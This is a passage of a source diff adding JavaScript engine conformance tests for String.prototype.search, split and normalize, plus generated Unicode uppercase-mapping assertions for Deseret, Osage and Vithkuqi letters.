+var myRegExp = {
+ [Symbol.search](S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 42;
+ }
+};
+assertEq("abcAbcABC".search(myRegExp), 42);
+assertEq(called, 1);
+
+called = 0;
+RegExp.prototype[Symbol.search] = function(S) {
+ assertEq(S, "abcAbcABC");
+ called++;
+ return 43;
+};
+assertEq("abcAbcABC".search("abc"), 43);
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/shell.js b/js/src/tests/non262/String/shell.js
new file mode 100644
index 0000000000..25e2f7e2f5
--- /dev/null
+++ b/js/src/tests/non262/String/shell.js
@@ -0,0 +1,59 @@
+function runNormalizeTest(test) {
+ function codePointsToString(points) {
+ return points.map(x => String.fromCodePoint(x)).join("");
+ }
+ function stringify(points) {
+ return points.map(x => x.toString(16)).join();
+ }
+
+ var source = codePointsToString(test.source);
+ var NFC = codePointsToString(test.NFC);
+ var NFD = codePointsToString(test.NFD);
+ var NFKC = codePointsToString(test.NFKC);
+ var NFKD = codePointsToString(test.NFKD);
+ var sourceStr = stringify(test.source);
+ var nfcStr = stringify(test.NFC);
+ var nfdStr = stringify(test.NFD);
+ var nfkcStr = stringify(test.NFKC);
+ var nfkdStr = stringify(test.NFKD);
+
+ /* NFC */
+ assertEq(source.normalize(), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize(undefined), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize(undefined), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize(undefined), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize(undefined), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize(undefined), NFKC, "NFC of " + nfkdStr);
+
+ assertEq(source.normalize("NFC"), NFC, "NFC of " + sourceStr);
+ assertEq(NFC.normalize("NFC"), NFC, "NFC of " + nfcStr);
+ assertEq(NFD.normalize("NFC"), NFC, "NFC of " + nfdStr);
+ assertEq(NFKC.normalize("NFC"), NFKC, "NFC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFC"), NFKC, "NFC of " + nfkdStr);
+
+ /* NFD */
+ assertEq(source.normalize("NFD"), NFD, "NFD of " + sourceStr);
+ assertEq(NFC.normalize("NFD"), NFD, "NFD of " + nfcStr);
+ assertEq(NFD.normalize("NFD"), NFD, "NFD of " + nfdStr);
+ assertEq(NFKC.normalize("NFD"), NFKD, "NFD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFD"), NFKD, "NFD of " + nfkdStr);
+
+ /* NFKC */
+ assertEq(source.normalize("NFKC"), NFKC, "NFKC of " + sourceStr);
+ assertEq(NFC.normalize("NFKC"), NFKC, "NFKC of " + nfcStr);
+ assertEq(NFD.normalize("NFKC"), NFKC, "NFKC of " + nfdStr);
+ assertEq(NFKC.normalize("NFKC"), NFKC, "NFKC of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKC"), NFKC, "NFKC of " + nfkdStr);
+
+ /* NFKD */
+ assertEq(source.normalize("NFKD"), NFKD, "NFKD of " + sourceStr);
+ assertEq(NFC.normalize("NFKD"), NFKD, "NFKD of " + nfcStr);
+ assertEq(NFD.normalize("NFKD"), NFKD, "NFKD of " + nfdStr);
+ assertEq(NFKC.normalize("NFKD"), NFKD, "NFKD of " + nfkcStr);
+ assertEq(NFKD.normalize("NFKD"), NFKD, "NFKD of " + nfkdStr);
+}
diff --git a/js/src/tests/non262/String/split-01.js b/js/src/tests/non262/String/split-01.js
new file mode 100644
index 0000000000..3eda3b1487
--- /dev/null
+++ b/js/src/tests/non262/String/split-01.js
@@ -0,0 +1,47 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split tests";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+
+var order = "";
+var o1 = { toString: function() { order += "b"; return "-"; }};
+var o2 = { valueOf: function() { order += "a"; return 1; }};
+var res = "xyz-xyz".split(o1, o2);
+
+assertEq(order, "ab");
+assertEqArr(res, ["xyz"]);
+
+assertEqArr("".split(/.?/), []);
+assertEqArr("abc".split(/\b/), ["abc"]);
+
+assertEqArr("abc".split(/((()))./, 2), ["",""]);
+assertEqArr("abc".split(/((((()))))./, 9), ["","","","","","","","",""]);
+
+// from ES5 15.5.4.14
+assertEqArr("ab".split(/a*?/), ["a", "b"]);
+assertEqArr("ab".split(/a*/), ["", "b"]);
+assertEqArr("A<B>bold</B>and<CODE>coded</CODE>".split(/<(\/)?([^<>]+)>/),
+ ["A", undefined, "B", "bold", "/", "B", "and", undefined,
+ "CODE", "coded", "/", "CODE", ""]);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split-GetMethod.js b/js/src/tests/non262/String/split-GetMethod.js
new file mode 100644
index 0000000000..a56debe2a2
--- /dev/null
+++ b/js/src/tests/non262/String/split-GetMethod.js
@@ -0,0 +1,24 @@
+var BUGNUMBER = 1290655;
+var summary = "String.prototype.split should call GetMethod.";
+
+print(BUGNUMBER + ": " + summary);
+
+function create(value) {
+ return {
+ [Symbol.split]: value,
+ toString() {
+ return "-";
+ }
+ };
+}
+
+for (let v of [null, undefined]) {
+ assertDeepEq("a-a".split(create(v)), ["a", "a"]);
+}
+
+for (let v of [1, true, Symbol.iterator, "", {}, []]) {
+ assertThrowsInstanceOf(() => "a-a".split(create(v)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/split-order.js b/js/src/tests/non262/String/split-order.js
new file mode 100644
index 0000000000..b6583ed328
--- /dev/null
+++ b/js/src/tests/non262/String/split-order.js
@@ -0,0 +1,22 @@
+var BUGNUMBER = 1287521;
+var summary = 'String.prototype.split should call ToUint32(limit) before ToString(separator).';
+
+print(BUGNUMBER + ": " + summary);
+
+var log = [];
+"abba".split({
+ toString() {
+ log.push("separator-tostring");
+ return "b";
+ }
+}, {
+ valueOf() {
+ log.push("limit-valueOf");
+ return 0;
+ }
+});
+
+assertEq(log.join(","), "limit-valueOf,separator-tostring");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/split-undefined-separator.js b/js/src/tests/non262/String/split-undefined-separator.js
new file mode 100644
index 0000000000..46aa6c16f9
--- /dev/null
+++ b/js/src/tests/non262/String/split-undefined-separator.js
@@ -0,0 +1,37 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with undefined separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function assertEqArr(a1, a2) {
+ assertEq(a1.length, a2.length);
+
+ for(var i=0; i<a1.length; i++) {
+ assertEq(a1[i], a2[i]);
+ }
+}
+var s = '--undefined--undefined--';
+
+assertEqArr(s.split(undefined, undefined), [s]);
+assertEqArr(s.split(undefined, -1), [s]);
+
+assertEqArr(s.split(undefined, 1), [s]);
+assertEqArr(s.split("undefined", 1), ["--"]);
+
+assertEqArr(s.split("-", 0), []);
+assertEqArr(s.split(undefined, 0), []);
+assertEqArr(s.split(s, 0), []);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split-xregexp.js b/js/src/tests/non262/String/split-xregexp.js
new file mode 100644
index 0000000000..9dfe79b00b
--- /dev/null
+++ b/js/src/tests/non262/String/split-xregexp.js
@@ -0,0 +1,118 @@
+/*
+ * Tests from http://xregexp.com/tests/split.html
+ *
+ * Copyright (C) 2007 by Steven Levithan <stevenlevithan.com>
+ *
+ * Distributed under the terms of the MIT license.
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a copy
+ * of this software and associated documentation files (the "Software"), to deal
+ * in the Software without restriction, including without limitation the rights
+ * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ * copies of the Software, and to permit persons to whom the Software is
+ * furnished to do so, subject to the following conditions:
+
+ * The above copyright notice and this permission notice shall be included in
+ * all copies or substantial portions of the Software.
+
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ * THE SOFTWARE.
+ */
+var BUGNUMBER = 614608;
+var summary = "String.prototype.split with regexp separator";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var ecmaSampleRe = /<(\/)?([^<>]+)>/;
+
+var testCode = [
+ ["''.split()", [""]],
+ ["''.split(/./)", [""]],
+ ["''.split(/.?/)", []],
+ ["''.split(/.??/)", []],
+ ["'ab'.split(/a*/)", ["", "b"]],
+ ["'ab'.split(/a*?/)", ["a", "b"]],
+ ["'ab'.split(/(?:ab)/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*/)", ["", ""]],
+ ["'ab'.split(/(?:ab)*?/)", ["a", "b"]],
+ ["'test'.split('')", ["t", "e", "s", "t"]],
+ ["'test'.split()", ["test"]],
+ ["'111'.split(1)", ["", "", "", ""]],
+ ["'test'.split(/(?:)/, 2)", ["t", "e"]],
+ ["'test'.split(/(?:)/, -1)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, undefined)", ["t", "e", "s", "t"]],
+ ["'test'.split(/(?:)/, null)", []],
+ ["'test'.split(/(?:)/, NaN)", []],
+ ["'test'.split(/(?:)/, true)", ["t"]],
+ ["'test'.split(/(?:)/, '2')", ["t", "e"]],
+ ["'test'.split(/(?:)/, 'two')", []],
+ ["'a'.split(/-/)", ["a"]],
+ ["'a'.split(/-?/)", ["a"]],
+ ["'a'.split(/-??/)", ["a"]],
+ ["'a'.split(/a/)", ["", ""]],
+ ["'a'.split(/a?/)", ["", ""]],
+ ["'a'.split(/a??/)", ["a"]],
+ ["'ab'.split(/-/)", ["ab"]],
+ ["'ab'.split(/-?/)", ["a", "b"]],
+ ["'ab'.split(/-??/)", ["a", "b"]],
+ ["'a-b'.split(/-/)", ["a", "b"]],
+ ["'a-b'.split(/-?/)", ["a", "b"]],
+ ["'a-b'.split(/-??/)", ["a", "-", "b"]],
+ ["'a--b'.split(/-/)", ["a", "", "b"]],
+ ["'a--b'.split(/-?/)", ["a", "", "b"]],
+ ["'a--b'.split(/-??/)", ["a", "-", "-", "b"]],
+ ["''.split(/()()/)", []],
+ ["'.'.split(/()()/)", ["."]],
+ ["'.'.split(/(.?)(.?)/)", ["", ".", "", ""]],
+ ["'.'.split(/(.??)(.??)/)", ["."]],
+ ["'.'.split(/(.)?(.)?/)", ["", ".", undefined, ""]],
+ ["'A<B>bold</B>and<CODE>coded</CODE>'.split(ecmaSampleRe)",
+ ["A", undefined, "B", "bold", "/", "B",
+ "and", undefined, "CODE", "coded", "/",
+ "CODE", ""]],
+ ["'tesst'.split(/(s)*/)", ["t", undefined, "e", "s", "t"]],
+ ["'tesst'.split(/(s)*?/)", ["t", undefined, "e", undefined, "s",
+ undefined, "s", undefined, "t"]],
+ ["'tesst'.split(/(s*)/)", ["t", "", "e", "ss", "t"]],
+ ["'tesst'.split(/(s*?)/)", ["t", "", "e", "", "s", "", "s", "", "t"]],
+ ["'tesst'.split(/(?:s)*/)", ["t", "e", "t"]],
+ ["'tesst'.split(/(?=s+)/)", ["te", "s", "st"]],
+ ["'test'.split('t')", ["", "es", ""]],
+ ["'test'.split('es')", ["t", "t"]],
+ ["'test'.split(/t/)", ["", "es", ""]],
+ ["'test'.split(/es/)", ["t", "t"]],
+ ["'test'.split(/(t)/)", ["", "t", "es", "t", ""]],
+ ["'test'.split(/(es)/)", ["t", "es", "t"]],
+ ["'test'.split(/(t)(e)(s)(t)/)", ["", "t", "e", "s", "t", ""]],
+ ["'.'.split(/(((.((.??)))))/)", ["", ".", ".", ".", "", "", ""]],
+ ["'.'.split(/(((((.??)))))/)", ["."]]
+];
+
+function testSplit() {
+ for (var i = 0; i < testCode.length; i++) {
+ var actual = eval(testCode[i][0]);
+ var expected = testCode[i][1];
+
+ assertEq(actual.length, expected.length);
+
+ for(var j=0; j<actual.length; j++) {
+ assertEq(actual[j], expected[j], testCode[i][0]);
+ }
+ }
+}
+
+testSplit();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/String/split.js b/js/src/tests/non262/String/split.js
new file mode 100644
index 0000000000..1cce47f288
--- /dev/null
+++ b/js/src/tests/non262/String/split.js
@@ -0,0 +1,19 @@
+var BUGNUMBER = 887016;
+var summary = "Call RegExp.prototype[@@split] from String.prototype.split.";
+
+print(BUGNUMBER + ": " + summary);
+
+var called = 0;
+var myRegExp = {
+ [Symbol.split](S, limit) {
+ assertEq(S, "abcAbcABC");
+ assertEq(limit, 10);
+ called++;
+ return ["X", "Y", "Z"];
+ }
+};
+assertEq("abcAbcABC".split(myRegExp, 10).join(","), "X,Y,Z");
+assertEq(called, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js b/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js
new file mode 100644
index 0000000000..bb71604ef0
--- /dev/null
+++ b/js/src/tests/non262/String/string-code-point-upper-lower-mapping.js
@@ -0,0 +1,530 @@
+/* Generated by make_unicode.py DO NOT MODIFY */
+/* Unicode version: 15.0.0 */
+
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+assertEq(String.fromCodePoint(0x10428).toUpperCase().codePointAt(0), 0x10400); // DESERET SMALL LETTER LONG I, DESERET CAPITAL LETTER LONG I
+assertEq(String.fromCodePoint(0x10429).toUpperCase().codePointAt(0), 0x10401); // DESERET SMALL LETTER LONG E, DESERET CAPITAL LETTER LONG E
+assertEq(String.fromCodePoint(0x1042A).toUpperCase().codePointAt(0), 0x10402); // DESERET SMALL LETTER LONG A, DESERET CAPITAL LETTER LONG A
+assertEq(String.fromCodePoint(0x1042B).toUpperCase().codePointAt(0), 0x10403); // DESERET SMALL LETTER LONG AH, DESERET CAPITAL LETTER LONG AH
+assertEq(String.fromCodePoint(0x1042C).toUpperCase().codePointAt(0), 0x10404); // DESERET SMALL LETTER LONG O, DESERET CAPITAL LETTER LONG O
+assertEq(String.fromCodePoint(0x1042D).toUpperCase().codePointAt(0), 0x10405); // DESERET SMALL LETTER LONG OO, DESERET CAPITAL LETTER LONG OO
+assertEq(String.fromCodePoint(0x1042E).toUpperCase().codePointAt(0), 0x10406); // DESERET SMALL LETTER SHORT I, DESERET CAPITAL LETTER SHORT I
+assertEq(String.fromCodePoint(0x1042F).toUpperCase().codePointAt(0), 0x10407); // DESERET SMALL LETTER SHORT E, DESERET CAPITAL LETTER SHORT E
+assertEq(String.fromCodePoint(0x10430).toUpperCase().codePointAt(0), 0x10408); // DESERET SMALL LETTER SHORT A, DESERET CAPITAL LETTER SHORT A
+assertEq(String.fromCodePoint(0x10431).toUpperCase().codePointAt(0), 0x10409); // DESERET SMALL LETTER SHORT AH, DESERET CAPITAL LETTER SHORT AH
+assertEq(String.fromCodePoint(0x10432).toUpperCase().codePointAt(0), 0x1040A); // DESERET SMALL LETTER SHORT O, DESERET CAPITAL LETTER SHORT O
+assertEq(String.fromCodePoint(0x10433).toUpperCase().codePointAt(0), 0x1040B); // DESERET SMALL LETTER SHORT OO, DESERET CAPITAL LETTER SHORT OO
+assertEq(String.fromCodePoint(0x10434).toUpperCase().codePointAt(0), 0x1040C); // DESERET SMALL LETTER AY, DESERET CAPITAL LETTER AY
+assertEq(String.fromCodePoint(0x10435).toUpperCase().codePointAt(0), 0x1040D); // DESERET SMALL LETTER OW, DESERET CAPITAL LETTER OW
+assertEq(String.fromCodePoint(0x10436).toUpperCase().codePointAt(0), 0x1040E); // DESERET SMALL LETTER WU, DESERET CAPITAL LETTER WU
+assertEq(String.fromCodePoint(0x10437).toUpperCase().codePointAt(0), 0x1040F); // DESERET SMALL LETTER YEE, DESERET CAPITAL LETTER YEE
+assertEq(String.fromCodePoint(0x10438).toUpperCase().codePointAt(0), 0x10410); // DESERET SMALL LETTER H, DESERET CAPITAL LETTER H
+assertEq(String.fromCodePoint(0x10439).toUpperCase().codePointAt(0), 0x10411); // DESERET SMALL LETTER PEE, DESERET CAPITAL LETTER PEE
+assertEq(String.fromCodePoint(0x1043A).toUpperCase().codePointAt(0), 0x10412); // DESERET SMALL LETTER BEE, DESERET CAPITAL LETTER BEE
+assertEq(String.fromCodePoint(0x1043B).toUpperCase().codePointAt(0), 0x10413); // DESERET SMALL LETTER TEE, DESERET CAPITAL LETTER TEE
+assertEq(String.fromCodePoint(0x1043C).toUpperCase().codePointAt(0), 0x10414); // DESERET SMALL LETTER DEE, DESERET CAPITAL LETTER DEE
+assertEq(String.fromCodePoint(0x1043D).toUpperCase().codePointAt(0), 0x10415); // DESERET SMALL LETTER CHEE, DESERET CAPITAL LETTER CHEE
+assertEq(String.fromCodePoint(0x1043E).toUpperCase().codePointAt(0), 0x10416); // DESERET SMALL LETTER JEE, DESERET CAPITAL LETTER JEE
+assertEq(String.fromCodePoint(0x1043F).toUpperCase().codePointAt(0), 0x10417); // DESERET SMALL LETTER KAY, DESERET CAPITAL LETTER KAY
+assertEq(String.fromCodePoint(0x10440).toUpperCase().codePointAt(0), 0x10418); // DESERET SMALL LETTER GAY, DESERET CAPITAL LETTER GAY
+assertEq(String.fromCodePoint(0x10441).toUpperCase().codePointAt(0), 0x10419); // DESERET SMALL LETTER EF, DESERET CAPITAL LETTER EF
+assertEq(String.fromCodePoint(0x10442).toUpperCase().codePointAt(0), 0x1041A); // DESERET SMALL LETTER VEE, DESERET CAPITAL LETTER VEE
+assertEq(String.fromCodePoint(0x10443).toUpperCase().codePointAt(0), 0x1041B); // DESERET SMALL LETTER ETH, DESERET CAPITAL LETTER ETH
+assertEq(String.fromCodePoint(0x10444).toUpperCase().codePointAt(0), 0x1041C); // DESERET SMALL LETTER THEE, DESERET CAPITAL LETTER THEE
+assertEq(String.fromCodePoint(0x10445).toUpperCase().codePointAt(0), 0x1041D); // DESERET SMALL LETTER ES, DESERET CAPITAL LETTER ES
+assertEq(String.fromCodePoint(0x10446).toUpperCase().codePointAt(0), 0x1041E); // DESERET SMALL LETTER ZEE, DESERET CAPITAL LETTER ZEE
+assertEq(String.fromCodePoint(0x10447).toUpperCase().codePointAt(0), 0x1041F); // DESERET SMALL LETTER ESH, DESERET CAPITAL LETTER ESH
+assertEq(String.fromCodePoint(0x10448).toUpperCase().codePointAt(0), 0x10420); // DESERET SMALL LETTER ZHEE, DESERET CAPITAL LETTER ZHEE
+assertEq(String.fromCodePoint(0x10449).toUpperCase().codePointAt(0), 0x10421); // DESERET SMALL LETTER ER, DESERET CAPITAL LETTER ER
+assertEq(String.fromCodePoint(0x1044A).toUpperCase().codePointAt(0), 0x10422); // DESERET SMALL LETTER EL, DESERET CAPITAL LETTER EL
+assertEq(String.fromCodePoint(0x1044B).toUpperCase().codePointAt(0), 0x10423); // DESERET SMALL LETTER EM, DESERET CAPITAL LETTER EM
+assertEq(String.fromCodePoint(0x1044C).toUpperCase().codePointAt(0), 0x10424); // DESERET SMALL LETTER EN, DESERET CAPITAL LETTER EN
+assertEq(String.fromCodePoint(0x1044D).toUpperCase().codePointAt(0), 0x10425); // DESERET SMALL LETTER ENG, DESERET CAPITAL LETTER ENG
+assertEq(String.fromCodePoint(0x1044E).toUpperCase().codePointAt(0), 0x10426); // DESERET SMALL LETTER OI, DESERET CAPITAL LETTER OI
+assertEq(String.fromCodePoint(0x1044F).toUpperCase().codePointAt(0), 0x10427); // DESERET SMALL LETTER EW, DESERET CAPITAL LETTER EW
+assertEq(String.fromCodePoint(0x104D8).toUpperCase().codePointAt(0), 0x104B0); // OSAGE SMALL LETTER A, OSAGE CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x104D9).toUpperCase().codePointAt(0), 0x104B1); // OSAGE SMALL LETTER AI, OSAGE CAPITAL LETTER AI
+assertEq(String.fromCodePoint(0x104DA).toUpperCase().codePointAt(0), 0x104B2); // OSAGE SMALL LETTER AIN, OSAGE CAPITAL LETTER AIN
+assertEq(String.fromCodePoint(0x104DB).toUpperCase().codePointAt(0), 0x104B3); // OSAGE SMALL LETTER AH, OSAGE CAPITAL LETTER AH
+assertEq(String.fromCodePoint(0x104DC).toUpperCase().codePointAt(0), 0x104B4); // OSAGE SMALL LETTER BRA, OSAGE CAPITAL LETTER BRA
+assertEq(String.fromCodePoint(0x104DD).toUpperCase().codePointAt(0), 0x104B5); // OSAGE SMALL LETTER CHA, OSAGE CAPITAL LETTER CHA
+assertEq(String.fromCodePoint(0x104DE).toUpperCase().codePointAt(0), 0x104B6); // OSAGE SMALL LETTER EHCHA, OSAGE CAPITAL LETTER EHCHA
+assertEq(String.fromCodePoint(0x104DF).toUpperCase().codePointAt(0), 0x104B7); // OSAGE SMALL LETTER E, OSAGE CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x104E0).toUpperCase().codePointAt(0), 0x104B8); // OSAGE SMALL LETTER EIN, OSAGE CAPITAL LETTER EIN
+assertEq(String.fromCodePoint(0x104E1).toUpperCase().codePointAt(0), 0x104B9); // OSAGE SMALL LETTER HA, OSAGE CAPITAL LETTER HA
+assertEq(String.fromCodePoint(0x104E2).toUpperCase().codePointAt(0), 0x104BA); // OSAGE SMALL LETTER HYA, OSAGE CAPITAL LETTER HYA
+assertEq(String.fromCodePoint(0x104E3).toUpperCase().codePointAt(0), 0x104BB); // OSAGE SMALL LETTER I, OSAGE CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x104E4).toUpperCase().codePointAt(0), 0x104BC); // OSAGE SMALL LETTER KA, OSAGE CAPITAL LETTER KA
+assertEq(String.fromCodePoint(0x104E5).toUpperCase().codePointAt(0), 0x104BD); // OSAGE SMALL LETTER EHKA, OSAGE CAPITAL LETTER EHKA
+assertEq(String.fromCodePoint(0x104E6).toUpperCase().codePointAt(0), 0x104BE); // OSAGE SMALL LETTER KYA, OSAGE CAPITAL LETTER KYA
+assertEq(String.fromCodePoint(0x104E7).toUpperCase().codePointAt(0), 0x104BF); // OSAGE SMALL LETTER LA, OSAGE CAPITAL LETTER LA
+assertEq(String.fromCodePoint(0x104E8).toUpperCase().codePointAt(0), 0x104C0); // OSAGE SMALL LETTER MA, OSAGE CAPITAL LETTER MA
+assertEq(String.fromCodePoint(0x104E9).toUpperCase().codePointAt(0), 0x104C1); // OSAGE SMALL LETTER NA, OSAGE CAPITAL LETTER NA
+assertEq(String.fromCodePoint(0x104EA).toUpperCase().codePointAt(0), 0x104C2); // OSAGE SMALL LETTER O, OSAGE CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x104EB).toUpperCase().codePointAt(0), 0x104C3); // OSAGE SMALL LETTER OIN, OSAGE CAPITAL LETTER OIN
+assertEq(String.fromCodePoint(0x104EC).toUpperCase().codePointAt(0), 0x104C4); // OSAGE SMALL LETTER PA, OSAGE CAPITAL LETTER PA
+assertEq(String.fromCodePoint(0x104ED).toUpperCase().codePointAt(0), 0x104C5); // OSAGE SMALL LETTER EHPA, OSAGE CAPITAL LETTER EHPA
+assertEq(String.fromCodePoint(0x104EE).toUpperCase().codePointAt(0), 0x104C6); // OSAGE SMALL LETTER SA, OSAGE CAPITAL LETTER SA
+assertEq(String.fromCodePoint(0x104EF).toUpperCase().codePointAt(0), 0x104C7); // OSAGE SMALL LETTER SHA, OSAGE CAPITAL LETTER SHA
+assertEq(String.fromCodePoint(0x104F0).toUpperCase().codePointAt(0), 0x104C8); // OSAGE SMALL LETTER TA, OSAGE CAPITAL LETTER TA
+assertEq(String.fromCodePoint(0x104F1).toUpperCase().codePointAt(0), 0x104C9); // OSAGE SMALL LETTER EHTA, OSAGE CAPITAL LETTER EHTA
+assertEq(String.fromCodePoint(0x104F2).toUpperCase().codePointAt(0), 0x104CA); // OSAGE SMALL LETTER TSA, OSAGE CAPITAL LETTER TSA
+assertEq(String.fromCodePoint(0x104F3).toUpperCase().codePointAt(0), 0x104CB); // OSAGE SMALL LETTER EHTSA, OSAGE CAPITAL LETTER EHTSA
+assertEq(String.fromCodePoint(0x104F4).toUpperCase().codePointAt(0), 0x104CC); // OSAGE SMALL LETTER TSHA, OSAGE CAPITAL LETTER TSHA
+assertEq(String.fromCodePoint(0x104F5).toUpperCase().codePointAt(0), 0x104CD); // OSAGE SMALL LETTER DHA, OSAGE CAPITAL LETTER DHA
+assertEq(String.fromCodePoint(0x104F6).toUpperCase().codePointAt(0), 0x104CE); // OSAGE SMALL LETTER U, OSAGE CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x104F7).toUpperCase().codePointAt(0), 0x104CF); // OSAGE SMALL LETTER WA, OSAGE CAPITAL LETTER WA
+assertEq(String.fromCodePoint(0x104F8).toUpperCase().codePointAt(0), 0x104D0); // OSAGE SMALL LETTER KHA, OSAGE CAPITAL LETTER KHA
+assertEq(String.fromCodePoint(0x104F9).toUpperCase().codePointAt(0), 0x104D1); // OSAGE SMALL LETTER GHA, OSAGE CAPITAL LETTER GHA
+assertEq(String.fromCodePoint(0x104FA).toUpperCase().codePointAt(0), 0x104D2); // OSAGE SMALL LETTER ZA, OSAGE CAPITAL LETTER ZA
+assertEq(String.fromCodePoint(0x104FB).toUpperCase().codePointAt(0), 0x104D3); // OSAGE SMALL LETTER ZHA, OSAGE CAPITAL LETTER ZHA
+assertEq(String.fromCodePoint(0x10597).toUpperCase().codePointAt(0), 0x10570); // VITHKUQI SMALL LETTER A, VITHKUQI CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x10598).toUpperCase().codePointAt(0), 0x10571); // VITHKUQI SMALL LETTER BBE, VITHKUQI CAPITAL LETTER BBE
+assertEq(String.fromCodePoint(0x10599).toUpperCase().codePointAt(0), 0x10572); // VITHKUQI SMALL LETTER BE, VITHKUQI CAPITAL LETTER BE
+assertEq(String.fromCodePoint(0x1059A).toUpperCase().codePointAt(0), 0x10573); // VITHKUQI SMALL LETTER CE, VITHKUQI CAPITAL LETTER CE
+assertEq(String.fromCodePoint(0x1059B).toUpperCase().codePointAt(0), 0x10574); // VITHKUQI SMALL LETTER CHE, VITHKUQI CAPITAL LETTER CHE
+assertEq(String.fromCodePoint(0x1059C).toUpperCase().codePointAt(0), 0x10575); // VITHKUQI SMALL LETTER DE, VITHKUQI CAPITAL LETTER DE
+assertEq(String.fromCodePoint(0x1059D).toUpperCase().codePointAt(0), 0x10576); // VITHKUQI SMALL LETTER DHE, VITHKUQI CAPITAL LETTER DHE
+assertEq(String.fromCodePoint(0x1059E).toUpperCase().codePointAt(0), 0x10577); // VITHKUQI SMALL LETTER EI, VITHKUQI CAPITAL LETTER EI
+assertEq(String.fromCodePoint(0x1059F).toUpperCase().codePointAt(0), 0x10578); // VITHKUQI SMALL LETTER E, VITHKUQI CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x105A0).toUpperCase().codePointAt(0), 0x10579); // VITHKUQI SMALL LETTER FE, VITHKUQI CAPITAL LETTER FE
+assertEq(String.fromCodePoint(0x105A1).toUpperCase().codePointAt(0), 0x1057A); // VITHKUQI SMALL LETTER GA, VITHKUQI CAPITAL LETTER GA
+assertEq(String.fromCodePoint(0x105A3).toUpperCase().codePointAt(0), 0x1057C); // VITHKUQI SMALL LETTER HA, VITHKUQI CAPITAL LETTER HA
+assertEq(String.fromCodePoint(0x105A4).toUpperCase().codePointAt(0), 0x1057D); // VITHKUQI SMALL LETTER HHA, VITHKUQI CAPITAL LETTER HHA
+assertEq(String.fromCodePoint(0x105A5).toUpperCase().codePointAt(0), 0x1057E); // VITHKUQI SMALL LETTER I, VITHKUQI CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x105A6).toUpperCase().codePointAt(0), 0x1057F); // VITHKUQI SMALL LETTER IJE, VITHKUQI CAPITAL LETTER IJE
+assertEq(String.fromCodePoint(0x105A7).toUpperCase().codePointAt(0), 0x10580); // VITHKUQI SMALL LETTER JE, VITHKUQI CAPITAL LETTER JE
+assertEq(String.fromCodePoint(0x105A8).toUpperCase().codePointAt(0), 0x10581); // VITHKUQI SMALL LETTER KA, VITHKUQI CAPITAL LETTER KA
+assertEq(String.fromCodePoint(0x105A9).toUpperCase().codePointAt(0), 0x10582); // VITHKUQI SMALL LETTER LA, VITHKUQI CAPITAL LETTER LA
+assertEq(String.fromCodePoint(0x105AA).toUpperCase().codePointAt(0), 0x10583); // VITHKUQI SMALL LETTER LLA, VITHKUQI CAPITAL LETTER LLA
